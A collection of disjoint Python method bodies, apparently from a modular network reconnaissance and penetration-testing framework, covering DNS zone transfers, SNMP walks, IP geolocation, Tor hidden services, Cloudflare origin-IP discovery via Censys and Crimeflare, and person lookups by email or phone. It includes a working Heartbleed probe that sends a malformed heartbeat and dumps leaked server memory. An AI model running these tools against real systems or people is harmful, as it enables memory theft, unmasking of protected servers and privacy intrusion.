def run(self): file = self.arguments.output or open( f"{self.arguments.target}-{self.arguments.port}.rdp", "w") file.write("\n".join([ "screen mode id:i:2", "use multimon:i:0", "desktopwidth:i:800", "desktopheight:i:600", "session bpp:i:32", "winposstr:s:0,3,0,0,800,600", "compression:i:1", "keyboardhook:i:2", "audiocapturemode:i:0", "videoplaybackmode:i:1", "connection type:i:2", "displayconnectionbar:i:1", "disable wallpaper:i:1", "allow font smoothing:i:0", "allow desktop composition:i:0", "disable full window drag:i:1", "disable menu anims:i:1", "disable themes:i:0", "disable cursor setting:i:0", "bitmapcachepersistenable:i:1", f"full address:s:{self.arguments.target}:{self.arguments.port}", "audiomode:i:0", "redirectprinters:i:1", "redirectcomports:i:0", "redirectsmartcards:i:1", "redirectclipboard:i:1", "redirectposdevices:i:0", "redirectdirectx:i:1", "autoreconnection enabled:i:1", "authentication level:i:0", "prompt for credentials:i:0", "negotiate security layer:i:1", "remoteapplicationmode:i:0", "alternate shell:s:", "shell working directory:s:", "gatewayhostname:s:", "gatewayusagemethod:i:4", "gatewaycredentialssource:i:4", "gatewayprofileusagemethod:i:0", "promptcredentialonce:i:1", "use redirection server name:i:0", "enablecredsspsupport:i:0" ])) print("[i] Successfully created RDP connection file!") print(f" - {filename}", dark=True)
def list(self, folder: str, debug: bool = True): tree = {} total = [0, 0] for root, dirnames, filenames in os.walk(os.path.join(self.location, folder)): basedir = os.path.basename(os.path.dirname(root)) if not basedir.startswith("_") and basedir not in ["modules"]: for name in filter(lambda name: name.endswith(".py"), filenames): fullname = os.path.join(root, name) try: module = console.load(fullname) commands = set() for attribute in map(lambda name: getattr(module, name), filter(lambda x: not x.startswith("_"), dir(module))): try: if callable(attribute) and issubclass(attribute, base.Program) and attribute != base.Program: commands.add(attribute) except TypeError as e: if str(e) != "issubclass() arg 1 must be a class": raise e if commands: for command in commands: t = tree for field in root.replace(self.location, "", 1)[1:].replace("\\", "/").split("/"): if field not in t: t[field] = {} total[1] += 1 t = t[field] t[os.path.splitext(os.path.basename(fullname))[0]] = (command.__doc__ or "No description available.").split("\n", 1)[0] total[0] += 1 break except Exception as e: if debug: filename, line, function, text = traceback.extract_tb(e.__traceback__)[-1] console.print(f"[!] {fullname.replace(self.location, '.')}:", color = "red") console.print(f" - {type(e).__name__}: ({filename.replace(csf.location, '.')} line #{line} in {function})", color = "red") console.print(f" {repr(text)}", color = "red", dark = True, parse = False) console.print(f" - {e}", color = "red", dark = True) exit(1) def pprint(obj, depth: int = 0): prefix = "| " * depth for key, value in obj.items(): if isinstance(value, str): l1 = prefix + f"|--{key}" prefix2 = (prefix + "| ").ljust(24) if len(l1) > 23: console.print(l1) console.print(prefix2, (value, True), prefix = prefix2) else: console.print(l1.ljust(24), (value, True), prefix = prefix2) else: programs = len(list(filter(lambda x: isinstance(x[1], str), value.items()))) folders = len(value) - programs console.print(f"{prefix}|--{key}: ({programs}/{folders})") pprint(value, depth + 1) console.print(f"[i] There are {total[0] or 'no'} programs available {f'on {total[1]} folders' if total[1] else ''}!") pprint(tree)
def run(self): arguments = self.arguments.__dict__ nameservers = arguments.get("nameservers") resolver = dns.resolver.Resolver(arguments.get("filename"), arguments.get("configure_resolver")) resolver.set_flags(arguments.get("flags")) resolver.use_edns(arguments.get("edns"), arguments.get("edns_flags"), arguments.get("edns_payload")) if nameservers: resolver.nameservers = nameservers resolver.port = arguments.get("port") resolver.timeout = arguments.get("timeout") resolver.lifetime = arguments.get("lifetime") resolver.retry_servfail = arguments.get("retry_servfail") if arguments.pop("metaquery"): kwargs = { v: arguments.get(k) for k, v in { "rdclass": "rdclass", "edns": "use_edns", "want_dnssec": "want_dnssec", "edns_flags": "ednsflags", "edns_payload": "request_payload" }.items() } message = dns.message.make_query(arguments.get("query"), arguments.get("rdtype"), **kwargs) kwargs = { k: arguments.get(k) for k in [ "timeout", "port", "source", "source_port", "one_rr_per_rrset" ] } if arguments.get("tcp"): resp = dns.query.tcp(message, resolver.nameservers[0], **kwargs) else: resp = dns.query.udp(message, resolver.nameservers[0], **kwargs) print(resp) else: kwargs = { k: arguments.get(k) for k in ["rdtype", "rdclass", "tcp", "source", "source_port"] } answer = resolver.query(arguments.pop("query"), **kwargs) print(answer.response)
def cflist(self, cfl_id: str): page = self.session.get( "cflist/" + cfl_id, headers={ "Referer": "http://www.crimeflare.com/cgi-bin/cfsearch.cgi" }).parsed() if page.title.text.lower() == "cloudflare search results": domains = list(page.stripped_strings)[3:-4] print( "[i] Some CloudFlare-User domains with a direct-connect IP address of {cfl_id.split('-')[1]}:" ) for i in range(0, len(domains), 2): print(" - {:32}{:32}".format(*domains[i:i + 2], ""), dark=True) else: raise Exception( "Failed to list cloudflare-user domains using this CFL id ...")
def _iter(self, answer): for record in sorted(answer, key = lambda x: dns.rdatatype.to_text(x.rdtype)): string = f" - {dns.rdatatype.to_text(record.rdtype).ljust(self._max_rdtype_length)}" print(string, end = "") extra = False for name in dir(record): value = getattr(record, name) if value is None or name.startswith("_") or callable(value) or name in ("rdtype", "rdclass"): continue s = f"{(' ' * (len(string)+1)) if extra else ''}{name}: " if isinstance(value, bytes): value = value.decode("ascii", errors="replace") elif isinstance(value, (list, tuple)): value = ("\n" + (" " * len(s))).join(sorted([i.decode("ascii", errors="replace") if isinstance(i, bytes) else (("\n" + (" " * (len(s) + 1))).join(str(i).split(" ")) if record.rdtype == 16 else str(i)) for i in value])) print(s + f"{value}", dark = True) extra = True
def run(self): transport = Udp6TransportTarget if self.arguments.udp6 else ( UnixTransportTarget if self.arguments.unix else UdpTransportTarget) args = (SnmpEngine(), CommunityData(self.arguments.community, mpModel=0), transport((self.arguments.target, self.arguments.port), timeout=self.arguments.timeout, retries=self.arguments.retries), ContextData()) response = (getCmd( *args, * [ObjectType(ObjectIdentity(obj)) for obj in self.arguments.get]) if self.arguments.get else nextCmd(*args, ObjectType(ObjectIdentity("SNMPv2-MIB")))) record = next(response, None) while record: for value in record[-1]: print(value.prettyPrint(), dark=True) record = next(response, None)
def run(self): (zone, where, port, source, source_port, timeout, lifetime, use_udp, rdtype, rdclass, af, serial, keyalgorithm, relativize, check_origin, export) = (getattr(self.arguments, name) for name in ["zone", "where", "port", "source", "source-port", "timeout", "lifetime", "use-udp", "rdtype", "rdclass", "address-family", "serial", "keyalgorithm", "relativize", "check-origin", "export"]) if not where: where = zone where = socket.gethostbyname(where) if rdtype not in [type for type in dir(dns.rdatatype) if type.isupper()]: raise ValueError(f"Unknown or invalid DNS Rdata Type \"{rdtype}\" ...") rdtype = getattr(dns.rdatatype, rdtype) if rdclass not in [type for type in dir(dns.rdataclass) if type.isupper()]: raise ValueError(f"Unknown or invalid DNS Rdata Class \"{rdclass}\" ...") rdclass = getattr(dns.rdataclass, rdclass) if af not in [i for i in dir(socket) if i.startswith("AF_")]: raise ValueError(f"Unknown or invalid Address Family \"{af}\" ...") address_family = int(getattr(socket, af)) if keyalgorithm and keyalgorithm not in [alg for alg in dir(dns.tsig) if alg.startswith("HMAC_")]: raise ValueError(f"Unknown or invalid TSIG Algorithm \"{keyalgorithm}\" ...") keyalgorithm = dns.tsig.default_algorithm if not keyalgorithm else getattr(dns.tsig, keyalgorithm) config = {"query": {"zone": zone, "where": where, "port": port, "source_port": source_port, "timeout": timeout, "lifetime": lifetime, "use_udp": use_udp}, "zone": {"check_origin": check_origin, "relativize": relativize}} config["query"].update({"rdtype": rdtype, "rdclass": rdclass, "af": address_family, "serial": serial, "keyalgorithm": keyalgorithm, "relativize": relativize}) if source: config["query"]["source"] = source zone = dns.zone.from_xfr(dns.query.xfr(**config["query"]), **config["zone"]).to_text() if export: export.write(zone) print(zone.decode("ascii"), dark = True)
def run(self): response = requests.get( f"http://ip-api.com/json/{self.arguments.host}?fields=258047" ).json() assert response["status"] == "success", Exception( f"{' - '.join(f'{key.title()}: {value}' for key, value in response.items())}" ) print(""" ,,,,,, o#'9MMHb':'-,o, --------- Tracking Results --------- .oH":HH$' "' ' -*R&o, IP Address {query} dMMM*""'`' .oM"HM?. Country {country}/{countryCode} ,MMM' "HLbd< ?&H Region {regionName}/{region} .:MH ." ` MM MM&b City {city} . "*H - &MMMMMMMMMH: Zip Code {zip} . dboo MMMMMMMMMMMM. Time Zone {timezone} . dMMMMMMb *MMMMMMMMMP. Organization {org} . MMMMMMMP *MMMMMP . ISP {isp} `#MMMMM MM6P , Latitude {lat} ' `MMMP" HM*`, Longitude {lon} ' :MM .- , Is Proxy {proxy} '. `#?.. . ..' Is Mobile {mobile} -. . .- {as} ''-.oo,oo.-'' """.format(**response))
def pprint(obj, depth: int = 0): prefix = "| " * depth for key, value in obj.items(): if isinstance(value, str): l1 = prefix + f"|--{key}" prefix2 = (prefix + "| ").ljust(24) if len(l1) > 23: console.print(l1) console.print(prefix2, (value, True), prefix = prefix2) else: console.print(l1.ljust(24), (value, True), prefix = prefix2) else: programs = len(list(filter(lambda x: isinstance(x[1], str), value.items()))) folders = len(value) - programs console.print(f"{prefix}|--{key}: ({programs}/{folders})") pprint(value, depth + 1)
def scan(self, host, **kwargs): print(f"[i] NSMap results for host {repr(host)}:") answer = self.metaquery(host, "ANY", **kwargs).answer if kwargs.pop("any") else None if answer: self._iter(answer) else: for name, rdtype in self.rdtypes.items(): if not dns.rdatatype.is_metatype(rdtype): try: answer = self.metaquery(host, rdtype, **kwargs).answer if answer: self._iter(answer) except Exception as e: print(f" - {name.ljust(self._max_rdtype_length+1)}", (str(e), True), color = "red") else: print(f" - No records are directly available for this host ...", color = "yellow", dark = True)
def run(self): censys = Censys.API(self.arguments.api_id, self.arguments.api_secret) fingerprints = {} fields = ["parsed.subject_dn", "parsed.names", "parsed.fingerprint_sha256", "parsed.subject.common_name"] certificates = [{key.rsplit(".", 1)[-1]: value for key, value in cert.items()} for cert in censys.certificates.search(f"{self.arguments.domain} and tags: trusted", fields = fields) if cert] for certificate in filter(lambda cert: self.arguments.domain in cert.get("names", []) and not any(map(lambda d: d.endswith(".cloudflaressl.com") or d.endswith(".cloudflare.com"), cert["common_name"])), certificates): hosts = set() fingerprint, common_name, names, sdn = (certificate["fingerprint_sha256"], certificate.get("common_name", []), certificate.get("names", []), certificate.get("subject_dn")) results = censys.ipv4.search(f"{fingerprint}", fields = ["443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names", "443.https.tls.certificate.parsed.names", "ip"]) if results: console.print(f"[+] {fingerprint}: {', '.join(common_name or names or [])}") if sdn: console.print(f" - {sdn}") for host in results: hosts.add(host["ip"]) console.print(f" - {host['ip']} [{', '.join(host.get('443.https.tls.certificate.parsed.names', host.get('443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names', [])))}]", dark = True) fingerprints[fingerprint] = hosts hosts = set() for value in fingerprints.values(): hosts.update(value) console.print(f"[i] {len(fingerprints) or 'No'} fingerprints {f'and {len(hosts)}' if fingerprints else 'or'} hosts were found.")
def recvmsg(self, sock): hdr = self.recvall(sock, 5) if hdr is None: print( "[!] Unexpected EOF receiving record header: Server closed connection!", color="red") return None, None, None type, version, ln = struct.unpack(">BHH", hdr) payload = self.recvall(sock, ln, 10) if payload is None: print( "[!] Unexpected EOF receiving record payload: Server closed connection!", color="red") return None, None, None print( f"... Received message: type = {type}, ver = {version:04x}, length = {len(payload)}", dark=True) return type, version, payload
def cfsearch(self, domain: str): nameservers = [ ns.to_text() for ns in self.resolver.query(domain, "NS") ] page = self.session.post("cfsearch.cgi", data={"cfS": domain}).parsed() cfl_ids = [ a.get("href") for a in page.findAll( "a", attrs={ "href": re.compile( r"^http://www.crimeflare.com/cgi-bin/cflist/.*$") }) ] print("[i] CloudFlare Search Results:") print(" - Name Servers:") for ns in nameservers: print( f" - {ns} [{', '.join(ip.to_text() for ip in self.resolver.query(ns, 'A'))}]", dark=True) print() if cfl_ids: print(" - CFList (CFL) IDs: (Single use)") for id in cfl_ids: print(" - " + id.split("/")[-1], dark=True) print() if page.ul: print(" - " + "\n - ".join(page.ul.stripped_strings), dark=True) else: print( " - No direct-connect IP addresses have been found for this domain ...", color="red", dark=True)
def run(self): mac = netaddr.EUI( int(self.arguments.mac) if self.arguments.mac.isdigit() else self. arguments.mac) info = mac.info["OUI"] print( f"[i] Media Access Control (MAC) Address Lookup Results For {mac}:" ) print(f" - Extended Unique Identifier 64: {mac.eui64()}", dark=True) print( f" - Modified EUI64 Address: {mac.modified_eui64()}", dark=True) print( f" - Individual Access Block [IAB]: {mac.iab if mac.is_iab() else 'Not an IAB'}", dark=True) print(f" - Organizationally Unique Identifier: {mac.oui}", dark=True) print(f" - Extended Identifier [EI]: {mac.ei}", dark=True) print( f" - Local Link IPv6 Address: {mac.ipv6_link_local()}", dark=True) print(f" - Vendor Info.:") print(f" - Organization: {info['org']}", dark=True) print(" - Address: {}".format("\n ".join( info["address"])), dark=True) print(f" - OUI Info.:") print(f" - Version: {mac.version}", dark=True) print(f" - Offset: {info['offset']}", dark=True) print(f" - Size: {info['size']}", dark=True) print(f" - IDX: {info['idx']}", dark=True) print(f" - OUI: {info['oui']}", dark=True) print(f" - Packed Address: {mac.packed}", dark=True) print(f" - Hexadecimal Address: {hex(mac)}", dark=True) print(f" - 48-bit Positive Integer: {mac.value}", dark=True) print( f" - Octets: {', '.join(str(n) for n in mac.words)}", dark=True)
def run(self): answer = self.query(self.arguments.server, self.arguments.port) server = re.search("whois\: (.*)", answer) if server: answer = self.query(server.groups()[0].strip(), 43) for line in answer.split("\n"): print(line.strip(), dark=line.startswith("%"))
def on_recv(self, address, data): packet = self.decoder.decode(data) print(packet) """packet = IPv4(data)
def run(self): process = None if not tor.pids(): print("[i] Tor is actually not running, starting a new temporary instance ...", color = "yellow") process = tor.Tor() process.start(False, " - ") print() service = tor.HiddenService(self.arguments.target) print("[i] Hidden Service Descriptive Info.:") print(f" - Publish Date & Time: {service.published}") print(f" - Descriptor Identifier: {service.descriptor_id}") print(f" - Descriptor Hash: {service.secret_id_part}") print(f" - Descriptor Version: {service.version}") print(f" - Supported Versions: {', '.join(str(v) for v in service.protocol_versions)}") print(" - Permanent Key: ") print(" " + service.permanent_key.replace("\n", "\n "), dark = True) print(" - Signature: ") print(" " + service.signature.replace("\n", "\n "), dark = True) print(" - Introduction Points:") print(f" {' Identifier '.center(32, '-')} {' Address '.center(21, '-')}") for introduction_point in sorted(service.introduction_points(), key=lambda x: x.identifier): score = status = None print(f" - {introduction_point.identifier}: " + f"{introduction_point.address}:{introduction_point.port}", dark = True) if process: process.exit()
def _input(): while not client._closed: data = client.recv(0xFFFF) if not data: break console.print(data.decode("ascii", errors="backslashreplace"))
def run(self): kwargs = {"type": "json"} pkwargs = {"css": self.arguments.stylesheet, "confidence": self.arguments.confidence, "macromeasures": self.arguments.macromeasures} api = fullcontact.API(self.arguments.api_key) if self.arguments.stats != None: print(f"[i] Request results for Account Statistics endpoint:") response = api.stats(self.arguments.stats, **kwargs) elif self.arguments.email: print(f"[i] Request results for E-Mail Address based Person Lookup:") response = api.person(self.arguments.email, "email", **kwargs, **pkwargs) elif self.arguments.phone: print(f"[i] Request results for Phone Number based Person Lookup:") response = api.person(self.arguments.phone, "phone", countryCode = self.arguments.country_code, **kwargs, **pkwargs) elif self.arguments.twitter: print(f"[i] Request results for Twitter Username based Person Lookup:") response = api.person(self.arguments.twitter, "twitter", **kwargs, **pkwargs) elif self.argument.domain: print(f"[i] Request results for Domain Name based Company Lookup:") response = api.domain(self.arguments.domain, keyPeople = self.arguments.key_people) else: print(f"[i] Request results for Name based Company Lookup:") response = api.company(self.arguments.company, location = self.arguments.location, locality = self.arguments.locality, country = self.arguments.country, region = self.arguments.region) pprint(response.json(), 1)
def run(self): kwargs = { "family": socket.AF_INET6 if self.arguments.ipv6 else socket.AF_INET, "type": socket.SOCK_DGRAM if self.arguments.udp else socket.SOCK_STREAM, "proto": self.arguments.protocol, "timeout": self.arguments.timeout or 8, "blocking": self.arguments.blocking } url = urllib.parse.urlsplit(self.arguments.url) assert url.scheme in [ "https", "smtp", "imap", "pop3", "ftp", "xmpp" ], ValueError(f"{url.scheme.upper()} is an unsupported protocol!") port = url.port or socket.getservbyname(url.scheme) sock = socket.socket(**kwargs) print(f"[i] Connecting to {url.hostname}:{port} ...", end="\r") sock.connect((url.hostname, port)) print(f"[i] Connected to {url.hostname}:{port} ...") if url.scheme != "https": print("[i] Sending STARTTLS Command ...") if url.scheme == "xmpp": sock.send( b"<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n" ) sock.recv(0x400) else: sock.recv(0x400) if url.scheme == "smtp": sock.send(b"EHLO openssl.client.net\n") sock.recv(0x400) sock.send( (b"STARTTLS\n" if url.scheme in ["smtp", "imap"] else (b"STLS\n" if url.scheme == "pop3" else b"AUTH TLS\n"))) sock.recv(0x400) print("[i] Sending Client Hello ...") sock.send( b'\x16\x03\x02\x00\xdc\x01\x00\x00\xd8\x03\x02SC[\x90\x9d\x9br\x0b\xbc\x0c\xbc+\x92\xa8H\x97\xcf\xbd9\x04\xcc\x16\n\x85\x03\x90\x9fw\x043\xd4\xde\x00\x00f\xc0\x14\xc0\n\xc0"\xc0!\x009\x008\x00\x88\x00\x87\xc0\x0f\xc0\x05\x005\x00\x84\xc0\x12\xc0\x08\xc0\x1c\xc0\x1b\x00\x16\x00\x13\xc0\r\xc0\x03\x00\n\xc0\x13\xc0\t\xc0\x1f\xc0\x1e\x003\x002\x00\x9a\x00\x99\x00E\x00D\xc0\x0e\xc0\x04\x00/\x00\x96\x00A\xc0\x11\xc0\x07\xc0\x0c\xc0\x02\x00\x05\x00\x04\x00\x15\x00\x12\x00\t\x00\x14\x00\x11\x00\x08\x00\x06\x00\x03\x00\xff\x01\x00\x00I\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x004\x002\x00\x0e\x00\r\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\t\x00\n\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00#\x00\x00\x00\x0f\x00\x01\x01' ) print("[i] Waiting for Server Hello ...") while True: type, version, payload = self.recvmsg(sock) if type == None: print( "[!] Server closed connection without sending Server Hello.", color="red") return False if type == 22 and payload[0] == 0x0E: break print("[i] Sending heartbeat request ...") sock.send(b"\x18\x03\x02\x00\x03\x01@\x00") #sock.send(b"\x18\x03\x02\x00\x03\x01@\x00") while True: type, version, payload = self.recvmsg(sock) if type is None: print( "[!] No heartbeat response received, server's likely not vulnerable.", color="red") return False elif type == 21: print("[i] Received alert:") hexdump(payload, prefix=" ") print("[!] Server returned error, likely not vulnerable.", color="red") return False elif type == 24: print("[i] Received heartbeat response:") hexdump(payload, prefix=" ") if len(payload) > 3: print( "[i] WARNING: server returned more data than it should - server is vulnerable!", color="yellow") else: print( "[i] Server processed malformed heartbeat, but did not return any extra data." ) return True
def on_stop(self): print(datetime.now().strftime( "[i] Stopped sniffing %A, %B %d at %H:%M:%S!"))
def run(self): try: if not tor.pids(): print( "[i] Tor is actually not running, starting a new instance ...", color="yellow") Tor = tor.Tor() Tor.start(False, " - ") print() controller = tor.Controller() if self.arguments.list: ehs_list = sorted( controller.list_ephemeral_hidden_services([], detached=True)) num = len(ehs_list) print( f"[i] There {'is' if num == 1 else 'are'} {num or 'no'} ephemeral hidden service{'' if num == 1 else 's'} running at the momment." ) for address in ehs_list: hs = tor.HiddenService(address, controller) print(f" - {hs.address} ({hs.descriptor_id})", dark=True) elif self.arguments.close: for address in sorted(set(self.arguments.close)): if address.endswith(".onion"): address = address.split(".")[0] try: hs = tor.HiddenService(address, controller) discontinued = controller.remove_ephemeral_hidden_service( address) print( f"[+] {hs.address} ({hs.descriptor_id}):", ("Hidden Service not running in the first place ...", "yellow") if not discontinued else "Hidden Service successfully discontinued and closed." ) except Exception as e: print(f"[!] {address}.onion: {e}", color="red") elif self.arguments.ports: ports = {} for port in self.arguments.ports: if "=" in port: number, target = port.split("=", 1) ports[int(number)] = target else: ports[int(port)] = int(port) print("[i] Creating Hidden Service ...") ehs = tor.EphemeralHiddenService(ports, self.arguments.discard_key, True, self.arguments.private_key, controller) print(f"[i] Hidden Service running on {ehs.address}:") print(f" - Publish Date & Time: {ehs.published}") print(f" - Descriptor Identifier: {ehs.descriptor_id}") print(f" - Descriptor Hash: {ehs.secret_id_part}") print(f" - Descriptor Version: {ehs.version}") print(" - Permanent Key: ") print(" " + ehs.permanent_key.replace("\n", "\n "), dark=True) print(" - Signature: ") print(" " + ehs.signature.replace("\n", "\n "), dark=True) print(" - Introduction Points:") print( f" {' Identifier '.center(32, '-')} {' Address '.center(21, '-')}", dark=True) for introduction_point in sorted(ehs.introduction_points(), key=lambda x: x.identifier): score = status = None print( f" - {introduction_point.identifier}: " + f"{introduction_point.address}:{introduction_point.port}", dark=True) print() print(" - HS Port Map:") for port, target in ports.items(): print(f" - {port}: {target}", dark=True) else: parser.print_help() except Exception as e: print(f"[!] {type(e).__name__}:", color="red") print(f" - {e}", color="red", dark=True) except KeyboardInterrupt: print("[!] Keyboard Interrupted!", color="red")
def on_error(self, address, exception): raise exception print( f"[!] {type(exception).__name__} [{':'.join(map(str, address))}]:", color="red") print(f" - {exception}", color="red", dark=True)
assert commands, "Invalid executable Program!" for command in commands: try: command = command() command.parse_args(*args) command.run() except TypeError as e: if str(e) != "issubclass() arg 1 must be a class": raise e def run(self, argv = sys.argv[1:]): args = self.parser.parse_args(argv[:2]) if args.list != None: self.list(args.list, args.debug) elif args.executable: self.execute(args.executable, *argv[2:]) if __name__ == "__main__": csf = CSF try: csf = csf() csf.run() except Exception as e: filename, line, function, text = traceback.extract_tb(e.__traceback__)[-1] console.print(f"[!] {type(e).__name__}: ({filename.replace(csf.location, '.')} line #{line} in {function})", color = "red") console.print(f" {repr(text)}", color = "red", dark = True, parse = False) console.print(f" - {e}", color = "red", dark = True) #raise e except KeyboardInterrupt: console.print(f"[!] Keyboard Interrupted!", color = "red")